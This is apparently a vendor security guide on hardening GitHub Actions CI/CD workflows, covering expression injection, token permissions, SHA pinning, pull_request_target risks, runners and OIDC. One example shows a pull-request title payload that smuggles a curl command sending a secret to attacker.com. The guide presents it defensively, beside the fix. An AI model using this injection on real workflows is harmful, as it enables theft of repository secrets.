GitHub Actions: The CI/CD Attack Surface
GitHub Actions workflows run arbitrary code with access to your repository, secrets, and infrastructure. They run on every push, PR, and scheduled trigger β often with minimal review. Third-party actions from the marketplace introduce external code into your build environment, and most are used with broad trust and no integrity verification.
The attack surface includes: workflow YAML files in your repository, third-party actions referenced by uses:, self-hosted runners (if used), and the GITHUB_TOKEN and any additional secrets the workflow accesses.
Real attack (2025): The tj-actions/changed-files action was compromised β a malicious commit was pushed to the action repository. Workflows referencing this action by tag (not SHA) executed the malicious code, which printed all workflow secrets to build logs.
Expression Injection: The Hidden RCE Risk
GitHub Actions expressions (${{ ... }}) are evaluated before the shell command runs. When user-controlled input like PR titles, branch names, or issue bodies is interpolated directly into a run: step, an attacker can inject shell commands.
# VULNERABLE: PR title is user-controlled input steps: - run: echo "PR title: ${{ github.event.pull_request.title }}" # An attacker names their PR: foo"; curl attacker.com/exfil?secret=$SECRET; echo "bar # This executes as shell: echo "PR title: foo"; curl ...; echo "bar" # SAFE: pass through environment variable steps: - name: Echo PR title safely env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "PR title: $PR_TITLE" # env var assignment is not interpreted as shell
The fix is simple: never interpolate user-controlled expressions directly into run: commands. Pass them through environment variables instead β environment variable assignment is not interpreted as shell code.
User-controlled inputs to avoid in run steps: github.event.pull_request.title, github.event.pull_request.body, github.event.issue.title, github.event.comment.body, github.head_ref, github.event.inputs.*
GITHUB_TOKEN Permissions: Principle of Least Privilege
The GITHUB_TOKEN is automatically available to every workflow. GitHub's default grants it write access to contents, packages, and other repository resources. That's far more than most jobs need.
Set restrictive defaults at the workflow level and grant only what each job needs:
permissions: read-all # deny all write at workflow level jobs: test: permissions: contents: read # only needs to read code publish-results: permissions: checks: write # needs to write check results pull-requests: write # needs to comment on PR contents: read release: permissions: contents: write # only this job needs to push tags/releases packages: write # and publish packages
Also enable "Restrict Secrets to Workflows" in your repository settings β this prevents fork PRs from accessing secrets entirely, protecting against secrets exfiltration via malicious PRs.
Pinning Actions to Commit SHA: Supply Chain Protection
Tags in GitHub can be moved. When you reference actions/checkout@v4, the tag v4 could be moved to a new (potentially malicious) commit at any time. A commit SHA is immutable β it can never be changed to point to different code.
# UNSAFE: tag can be moved - uses: actions/checkout@v4 - uses: some-org/some-action@main # branch refs are worst of all # SAFE: pinned to immutable SHA - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
Keep a comment with the human-readable version alongside the SHA so developers can understand what version is being used. Tools like Dependabot can automatically update pinned SHAs when new versions are released.
Pull Request Workflow Risks
The pull_request_target event runs in the context of the base branch (with access to secrets) even for PRs from forks. This is a common misconfiguration that exposes secrets to untrusted code:
# DANGEROUS: checks out fork code with secret access on: pull_request_target jobs: test: steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # This runs untrusted fork code in a privileged context! # SAFER: use pull_request for fork contributions on: pull_request # pull_request runs in fork context, no secret access from forks
Use pull_request (not pull_request_target) for workflows triggered by fork PRs. Only use pull_request_target for tasks that genuinely require base-branch context (like posting labels), and never check out untrusted fork code in that context.
Secrets Management in Actions
GitHub encrypted secrets are masked in logs automatically. But several failure modes exist:
- Secrets can leak through debug output β never enable
ACTIONS_RUNNER_DEBUG=truein production workflows - Secrets passed as command arguments appear in process lists β always pass via environment variables
- Short secret values (under ~4 characters) may not be masked reliably
- Derived values (base64-encoded secret, substring of secret) are not masked
Use environment-scoped secrets for production credentials, requiring environment protection rules (manual approval). This creates a gate before any job can access production credentials.
Self-Hosted Runner Security
Self-hosted runners execute workflow jobs on your own infrastructure. Security rules:
- Never use for public repositories: Untrusted PRs can run arbitrary code on your runner
- Ephemeral runners: Use ephemeral (just-in-time) runners that are created fresh per job and destroyed after completion
- Least privilege: The runner's service account should have minimal system permissions β not root, not admin
- Network isolation: Runners should only be able to reach the resources they need β not your entire internal network
- No production credentials on runner hosts: Jobs fetch credentials via OIDC or secrets at runtime, not from the runner filesystem
OIDC Tokens Instead of Long-Lived Credentials
Instead of storing AWS/GCP/Azure credentials as long-lived GitHub secrets, use OIDC (OpenID Connect) to issue short-lived tokens. The cloud provider trusts GitHub's OIDC provider and issues a credential valid only for that workflow run.
Benefits: no long-lived credentials stored anywhere, tokens expire automatically, access is scoped per workflow, and token issuance is auditable. This eliminates the most common secret leakage path for cloud deployments.
GitHub Actions Security Checklist
- ✅ Set
permissions: read-allat workflow level, grant write only where needed - ✅ Pin all third-party actions to commit SHA, not tags
- ✅ Pass user-controlled inputs through environment variables, never interpolate into
run: - ✅ Use OIDC tokens for cloud provider access β no long-lived credentials as secrets
- ✅ Use
pull_requestnotpull_request_targetfor fork PR workflows - ✅ Enable branch protection requiring workflow success before merge
- ✅ Audit and review third-party actions before using them
- ✅ Use environment protection rules for production deployments
- ✅ Restrict secrets to protected branches only
- ✅ Enable Dependabot for automatic action version updates
Scan your existing workflows: Most organizations have dozens of workflows that were written before these security practices were well understood. Automated scanning for expression injection, unpinned actions, and overpermissive tokens in existing workflows is the fastest way to identify what needs fixing.
Scan Your GitHub Actions Workflows
AquilaX automatically scans every workflow file for expression injection, overpermissive tokens, unpinned actions, and hardcoded secrets β catching supply chain risks before attackers do.
Start Free Scan